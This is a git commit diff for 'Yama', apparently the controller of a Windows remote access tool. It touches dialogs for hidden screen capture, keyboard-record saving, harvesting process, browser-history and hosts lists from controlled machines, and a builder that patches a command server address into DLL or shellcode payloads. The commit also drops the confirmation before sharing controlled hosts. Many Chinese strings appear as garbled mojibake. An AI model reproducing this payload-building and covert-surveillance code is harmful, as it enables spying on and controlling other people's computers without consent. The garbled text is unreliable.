Release v1.1.1

This commit is contained in:
yuanyuanxiang
2025-06-21 14:27:21 +08:00
parent 0f7b68496b
commit 0cce6e7a14
21 changed files with 4690 additions and 4631 deletions

Binary file not shown.

View File

@@ -168,6 +168,15 @@ END_MESSAGE_MAP()
// CMy2015RemoteDlg 对话框
std::string GetDbPath() {
static char path[MAX_PATH], *name = "YAMA.db";
static std::string ret = (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path)) ? "." : path)
+ std::string("\\YAMA\\");
static BOOL ok = CreateDirectoryA(ret.c_str(), NULL);
static std::string dbPath = ret + name;
return dbPath;
}
std::string GetFileName(const char* filepath) {
const char* slash1 = strrchr(filepath, '/');
const char* slash2 = strrchr(filepath, '\\');
@@ -597,7 +606,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
EnterCriticalSection(&m_cs);
if (modify)
SaveToFile(m_ClientMap, DB_FILENAME);
SaveToFile(m_ClientMap, GetDbPath());
auto& m = m_ClientMap[ContextObject->ID];
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), strIP);
for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) {
@@ -696,16 +705,16 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="")
memset(szBuffer + 2 + sizeof(int) + dwFileSize, 0, padding);
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData
auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize);
if (!addr.empty()) {
std::string s(skCrypt(FLAG_FINDEN)), ip, port;
int offset = MemoryFind((char*)szBuffer, s.c_str(), dwFileSize, s.length());
if (offset !=-1){
std::string s(skCrypt(FLAG_FINDEN)), ip, port;
int offset = MemoryFind((char*)szBuffer, s.c_str(), dwFileSize, s.length());
if (offset != -1) {
CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset);
if (!addr.empty()) {
splitIpPort(addr, ip, port);
CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset);
server->SetServer(ip.c_str(), atoi(port.c_str()));
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
}
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
}
auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5);
delete[] szBuffer;
@@ -725,7 +734,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
}
// 将“关于...”菜单项添加到系统菜单中。
SetWindowText(_T("Yama"));
LoadFromFile(m_ClientMap, DB_FILENAME);
LoadFromFile(m_ClientMap, GetDbPath());
// IDM_ABOUTBOX 必须在系统命令范围内。
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
@@ -749,7 +758,6 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
std::string port = THIS_CFG.GetStr("settings", "ghost", "6543");
std::string master = ip.empty() ? "" : ip + ":" + port;
const Validation* v = GetValidation();
m_superPass = v->Reserved;
if (!(strlen(v->Admin) && v->Port > 0)) {
// IMPORTANT: For authorization only.
PrintableXORCipher cipher;
@@ -810,7 +818,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
lvColumn.pszText = (char*)str.data();
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
timeBeginPeriod(1);
#ifdef _DEBUG
SetTimer(TIMER_CHECK, 60 * 1000, NULL);
#else
SetTimer(TIMER_CHECK, 600 * 1000, NULL);
#endif
CString tip = !ip.empty() && ip != getPublicIP() ?
CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP":
"请设置\"公网IP\"或使用反向代理服务器的IP";
@@ -939,7 +951,11 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
{
if (nIDEvent == TIMER_CHECK)
{
if (!CheckValid())
if (!m_superPass.empty()) {
KillTimer(nIDEvent);
return;
}
if (!CheckValid(-1))
{
KillTimer(nIDEvent);
CInputDialog dlg(this);
@@ -1087,7 +1103,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
// 创建一个新的子菜单
CMenu newMenu;
if (!newMenu.CreatePopupMenu()) {
AfxMessageBox(_T("创建分配主控的子菜单失败!"));
MessageBox(_T("创建分享主机的子菜单失败!"), "提示");
return;
}
@@ -1183,7 +1199,7 @@ void CMy2015RemoteDlg::OnOnlineUpdate()
delete[] buffer;
}
else {
AfxMessageBox("读取文件失败: "+ CString(path));
MessageBox("读取文件失败: "+ CString(path), "提示");
}
}
@@ -1299,12 +1315,12 @@ std::string joinString(const std::vector<std::string>& tokens, char delimiter) {
}
bool CMy2015RemoteDlg::CheckValid() {
bool CMy2015RemoteDlg::CheckValid(int trail) {
DateVerify verify;
#ifdef _DEBUG
BOOL isTrail = verify.isTrail(0);
#else
BOOL isTrail = verify.isTrail(-1);
BOOL isTrail = verify.isTrail(trail);
#endif
if (!isTrail) {
@@ -1319,7 +1335,7 @@ bool CMy2015RemoteDlg::CheckValid() {
auto settings = "settings", pwdKey = "Password";
// 验证口令
CPasswordDlg dlg;
CPasswordDlg dlg(this);
static std::string hardwareID = getHardwareID();
static std::string hashedID = hashSHA256(hardwareID);
static std::string deviceID = getFixedLengthID(hashedID);
@@ -1378,12 +1394,12 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
// 口令包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改!
// 注释下面 if 语句可以屏蔽该授权逻辑.
// 2025/04/20
if (!CheckValid())
if (!CheckValid(365))
return;
// TODO: 在此添加命令处理程序代码
CBuildDlg Dlg;
Dlg.m_strIP = THIS_CFG.GetStr("settings", "localIp", "").c_str();
Dlg.m_strIP = THIS_CFG.GetStr("settings", "master", "").c_str();
int Port = THIS_CFG.GetInt("settings", "ghost");
Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP;
Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str();
@@ -2447,8 +2463,6 @@ void CMy2015RemoteDlg::OnOnlineShare()
MessageBox("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
return;
}
if (IDYES != MessageBox(_T("确定分享选定的被控计算机吗?\n目前只能分享给同类主控程序。"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
return;
BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
// 目标主机类型
@@ -2468,6 +2482,9 @@ void CMy2015RemoteDlg::OnToolAuth()
dlg.m_sUserPwd = m_superPass.c_str();
dlg.DoModal();
if (!dlg.m_sUserPwd.IsEmpty()){
m_superPass = dlg.m_sUserPwd;
}
}
void CMy2015RemoteDlg::OnMainProxy()
@@ -2514,7 +2531,7 @@ void CMy2015RemoteDlg::OnOnlineHostnote()
LeaveCriticalSection(&m_cs);
if (modified) {
EnterCriticalSection(&m_cs);
SaveToFile(m_ClientMap, DB_FILENAME);
SaveToFile(m_ClientMap, GetDbPath());
LeaveCriticalSection(&m_cs);
}
}
@@ -2754,7 +2771,7 @@ void CMy2015RemoteDlg::OnToolGenMaster()
CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) {
AfxMessageBox("Explorer 未正确初始化! 请稍后再试。");
MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示");
SAFE_DELETE_ARRAY(curEXE);
return;
}
@@ -2766,7 +2783,7 @@ void CMy2015RemoteDlg::OnToolGenMaster()
ret = fileDlg.DoModal();
}
catch (...) {
AfxMessageBox("文件对话框未成功打开! 请稍后再试。");
MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
SAFE_DELETE_ARRAY(curEXE);
return;
}

View File

@@ -26,7 +26,6 @@ typedef struct DllInfo {
//////////////////////////////////////////////////////////////////////////
#include <unordered_map>
#include <fstream>
#define DB_FILENAME "./YAMA.db"
enum {
MAP_NOTE,
@@ -188,7 +187,7 @@ public:
BOOL isClosed;
CMenu m_MainMenu;
CBitmap m_bmOnline[12];
bool CheckValid();
bool CheckValid(int trail = 14);
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose();
void Release();

View File

@@ -153,7 +153,8 @@ void CBuildDlg::OnBnClickedOk()
SAFE_DELETE_ARRAY(szBuffer);
return;
}
g_ConnectAddress.Encrypt();
if (startup != Startup_InjSC)
g_ConnectAddress.Encrypt();
try
{
// <20><><EFBFBD>±<EFBFBD>ʶ
@@ -204,8 +205,7 @@ void CBuildDlg::OnBnClickedOk()
}
File.Write(szBuffer, dwFileSize);
File.Close();
CString tip = index == IndexTestRun_InjSC ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD>±<EFBFBD>ֻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӱ<EFBFBD><EFBFBD><EFBFBD>6543<EFBFBD>˿ڡ<EFBFBD>" :
index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
CString tip = index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
SAFE_DELETE_ARRAY(szBuffer);
if (index == IndexTestRun_DLL) return;
@@ -286,7 +286,7 @@ void CBuildDlg::OnCbnSelchangeComboExe()
CComPtr<IShellFolder> spDesktop;
HRESULT hr = SHGetDesktopFolder(&spDesktop);
if (FAILED(hr)) {
AfxMessageBox("Explorer δ<><CEB4>ȷ<EFBFBD><C8B7>ʼ<EFBFBD><CABC>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
MessageBox("Explorer δ<><CEB4>ȷ<EFBFBD><C8B7>ʼ<EFBFBD><CABC>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>", "<EFBFBD><EFBFBD>ʾ");
return;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1>ļ<EFBFBD><C4BC><EFBFBD>
@@ -297,7 +297,7 @@ void CBuildDlg::OnCbnSelchangeComboExe()
ret = fileDlg.DoModal();
}
catch (...) {
AfxMessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>", "<EFBFBD><EFBFBD>ʾ");
return;
}
if (ret == IDOK)

View File

@@ -162,6 +162,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
if (pwdHash != GetPwdHash()) {
Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str());
MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING);
m_sUserPwd.Empty();
return;
}
CString strBeginDate = m_StartTm.Format("%Y%m%d");

View File

@@ -142,7 +142,7 @@ bool CHideScreenSpyDlg::SaveSnapshot()
LPBITMAPINFO lpbi = m_BitmapInfor_Full;
CFile file;
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
MessageBox(_T("文件保存失败:\n") + dlg.GetPathName());
MessageBox(_T("文件保存失败:\n") + dlg.GetPathName(), "提示");
return false;
}
// BITMAPINFO大小
@@ -474,7 +474,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
}
if (m_BitmapInfor_Full->bmiHeader.biBitCount <= 15) {
AfxMessageBox(_T("不支持16位及以下颜色录像!"));
MessageBox(_T("不支持16位及以下颜色录像!"), "提示");
return;
}
@@ -486,8 +486,8 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
m_aviFile = dlg.GetPathName();
if (!m_aviStream.Open(m_hWnd, m_aviFile, m_BitmapInfor_Full)) {
MessageBox(_T("Create Video(*.avi) Failed:\n") + m_aviFile, "提示");
m_aviFile = _T("");
MessageBox(_T("Create Video(*.avi) Failed:\n") + m_aviFile);
} else {
::SetTimer(m_hWnd, 132, 250, NULL);
pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_CHECKED);

View File

@@ -138,7 +138,7 @@ bool CKeyBoardDlg::SaveRecord()
CFile file;
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>");
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>"+dlg.GetPathName(), "<EFBFBD><EFBFBD>ʾ");
return false;
}
// Write the DIB header and the bits

View File

@@ -98,8 +98,8 @@ void CVideoDlg::SaveAvi(void)
m_aviFile = dlg.GetPathName();
if (!m_aviStream.Open(m_aviFile, m_BitmapInfor_Full))
{
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>:"+m_aviFile, "<EFBFBD><EFBFBD>ʾ");
m_aviFile.Empty();
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>!");
}
else
{

View File

@@ -58,7 +58,7 @@ BOOL CProxyMapDlg::OnInitDialog()
// <20><><EFBFBD><EFBFBD>IPCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_nPort = 5543;
if (!m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) {
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
MessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ");
return FALSE;
}
TCHAR ip[256] = {};

View File

@@ -865,7 +865,7 @@ void CMachineDlg::ShowProcessList_menu()
Data += _T("\r\n");
}
SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
}
break;
case 200: {
@@ -1025,7 +1025,7 @@ void CMachineDlg::ShowWindowsList_menu()
Data += _T("\r\n");
}
SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
}
break;
case 200: {
@@ -1188,7 +1188,7 @@ void CMachineDlg::ShowNetStateList_menu()
Data += _T("\r\n");
}
SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
}
break;
case 150: {
@@ -1245,7 +1245,7 @@ void CMachineDlg::ShowSoftWareList_menu()
Data += _T("\r\n");
}
SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
}
break;
case 200: {
@@ -1315,7 +1315,7 @@ void CMachineDlg::ShowIEHistoryList_menu()
Data += _T("\r\n");
}
SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
}
break;
@@ -1503,7 +1503,7 @@ void CMachineDlg::ShowFavoritesUrlList_menu()
Data += _T("\r\n");
}
SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
}
break;
default:
@@ -1611,7 +1611,7 @@ void CMachineDlg::ShowHostsList_menu()
Data += _T("\r\n");
}
SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"));
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
}
break;
case 200: {